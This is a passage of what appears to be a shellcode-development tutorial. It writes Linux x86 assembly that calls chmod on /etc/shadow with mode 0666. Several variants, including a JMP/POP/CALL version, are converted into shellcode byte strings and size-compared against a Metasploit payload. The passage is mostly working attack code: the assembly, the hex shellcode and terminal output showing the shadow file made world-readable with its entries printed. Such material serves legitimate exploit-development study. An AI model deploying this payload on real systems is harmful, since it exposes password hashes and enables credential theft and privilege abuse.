Some modifications were made in the ASM version, such reuse already empty registers to, for e.g., terminate strings.
; Clear registers
xor eax, eax ; Clearing for EAX
mov ecx, eax ; Clear for ECX
; String "/etc/shadow"
push eax ; Push NULL in EAX on stack to terminate string
push 0x776f6461 ; woda
push 0x68732f2f ; hs//
push 0x6374652f ; cte/
Current ASM file
; Name; asm_linx86_chmod_sample2-alt.asm
; Author hodorsec
global _start
section .text
_start:
; Clear registers
xor eax, eax ; Clearing for EAX
mov ecx, eax ; Clear for ECX
; String "/etc/shadow"
push eax ; Push NULL in EAX on stack to terminate string
push 0x776f6461 ; woda
push 0x68732f2f ; hs//
push 0x6374652f ; cte/
; sys_chmod
; int chmod(const char *path, mode_t mode);
; push dword 0x1b6 ; Octal representation of 0666
; mov cl, 0xb6
; mov ch, 0x1
; pop ecx ; Put permission value in ECX for mode argument
mov ebx, esp ; Store stack-pointer in EBX for pointer argument for path
mov cx, 0x1b6 ; Octal representation of 0666 for mode argument
; push byte +0xf ; Value of 15
; pop eax ; Put value for syscall sys_chmod in EAX
mov al, 0xf ; Put value for syscall 15 sys_chmod in AL (EAX)
int 0x80 ; Syscall
; sys_exit
; void exit(int status);
; push 0x1 ; Push 1 for exit on stack
; pop eax ; Put in EAX for syscall
add eax, 2 ; EAX was 0xffffffff after last syscall, increment by 2 to rollover to 1
int 0x80 ; Syscall
JMP/POP/CALL
Next up is using the JMP/POP/CALL technique in an attempt to save bytes and not to push strings directly on the stack.
Make some modifications and removing all the cluttered commented lines, the ASM looks like this:
; Filename; asm_linx86_chmod_sample2-alt_jmppopcall.asm
; Author hodorsec
global _start
section .text
_start:
; Clear registers
xor eax, eax ; Clearing for EAX
mov ecx, eax ; Clear for ECX
jmp short string ; Jump to function to pop string
append:
pop ebx ; Put string reference in EBX
mov cx, 0x1b6 ; Octal representation of 0666 for mode argument
mov al, 0xf ; Put value for syscall 15 sys_chmod in AL (EAX)
int 0x80 ; Syscall
xor eax, eax ; Clear EAX
; sys_exit
; void exit(int status);
mov al, 1 ; Move 1 into AL for exit
int 0x80 ; Syscall
string:
call append
AppendString db "/etc/shadow" ; size 11
Let’s try to compile and run it using strace first
$ ../compile_asm.sh asm_linx86_chmod_sample2-alt_jmppopcall
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ strace ./asm_linx86_chmod_sample2-alt_jmppopcall
execve("./asm_linx86_chmod_sample2-alt_jmppopcall", ["./asm_linx86_chmod_sample2-alt_j"...], [/* 21 vars */]) = 0
chmod("/etc/shadow", 0666) = -1 EPERM (Operation not permitted)
_exit(134512761) = ?
Clearly, we’re not permitted to modify /etc/shadow as a regular user. Let’s try that as root and check the results.
$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1119 Oct 15 15:41 /etc/shadow
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ sudo ./asm_linx86_chmod_sample2-alt_jmppopcall
$ ls -l /etc/shadow
-rw-rw-rw- 1 root shadow 1119 Oct 15 15:41 /etc/shadow
$ cat /etc/shadow
root:!:17794:0:99999:7:::
daemon:*:15630:0:99999:7:::
bin:*:15630:0:99999:7:::
sys:*:15630:0:99999:7:::
sync:*:15630:0:99999:7:::
games:*:15630:0:99999:7:::
...<SNIP>...
Nice, so we can read the shadow file and check for hashes.
Compile as C
Now we’re going to try to convert to shellcode, paste it in a C file and compile it.
$ ../convert_bin_sc.sh asm_linx86_chmod_sample2-alt_jmppopcall
"\x31\xc0\x89\xc1\xeb\x0f\x5b\x66\xb9\xb6\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xec\xff\xff\xff\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77"
$ cp ../sc_template_c.c asm_linx86_chmod_sample2-alt_jmppopcall-c.c
$ vim asm_linx86_chmod_sample2-alt_jmppopcall-c.c
$ ../compile_c.sh asm_linx86_chmod_sample2-alt_jmppopcall-c
[+] Compiling ...
[+] Done!
$ ./asm_linx86_chmod_sample2-alt_jmppopcall-c
Shellcode Length: 37
Checking for NULL-bytes
No NULL-bytes or other bad characters
$ ../check_badchars.sh asm_linx86_chmod_sample2-alt_jmppopcall
[+] Checking ...
[+] Done!
Although we can’t run it as a regular user, we still see the size is 37 bytes which doesn’t change running as any user. Still, it’s 1 byte larger than the MSF compiled version so unfortunately it isn’t smaller.
Non-JMP/POP/CALL
Let’s improve some more and just not use this technique, but regularly pushing strings on stack and see what happens.
Modified ASM file
; Name; asm_linx86_chmod_sample2-alt2.asm
; Author hodorsec
global _start
section .text
_start:
; Clear registers
xor eax, eax ; Clearing for EAX
mov ecx, eax ; Clear for ECX
; String "/etc/shadow"
push eax ; Push NULL in EAX on stack to terminate string
push 0x776f6461 ; woda
push 0x68732f2f ; hs//
push 0x6374652f ; cte/
; sys_chmod
; int chmod(const char *path, mode_t mode);
mov ebx, esp ; Store stack-pointer in EBX for pointer argument for path
mov cx, 0x1b6 ; Octal representation of 0666 for mode argument
mov al, 0xf ; Put value for syscall 15 sys_chmod in AL (EAX)
int 0x80 ; Syscall
; sys_exit
; void exit(int status);
xor eax, eax ; Push 1 for exit on stack
mov al, 1 ; EAX was 0xffffffff after last syscall, increment by 2 to rollover to 1
int 0x80 ; Syscall
Now try to compile, convert to C and check it’s size.
$ ../compile_asm.sh asm_linx86_chmod_sample2-alt2
[+] Assembling with Nasm ...
[+] Linking ...
[+] Done!
$ ../convert_bin_sc.sh asm_linx86_chmod_sample2-alt2
"\x31\xc0\x89\xc1\x50\x68\x61\x64\x6f\x77\x68\x2f\x2f\x73\x68\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\xb6\x01\xb0\x0f\xcd\x80\x31\xc0\xb0\x01\xcd\x80"
$ cp ../sc_template_c.c asm_linx86_chmod_sample2-alt2-c.c
$ vim asm_linx86_chmod_sample2-alt2-c.c
$ ../compile_c.sh asm_linx86_chmod_sample2-alt2-c
[+] Compiling ...
[+] Done!
Now the next part, run!
We check the output: 36 bytes, which isn’t much of an advantage being equally large as the MSF payload.
$ ls -l /etc/shadow
-rw------- 1 root shadow 1119 Oct 15 15:41 /etc/shadow
$ sudo ./asm_linx86_chmod_sample2-alt2-c
Shellcode Length: 36
$ ls -l /etc/shadow
-rw-rw-rw- 1 root shadow 1119 Oct 15 15:41 /etc/shadow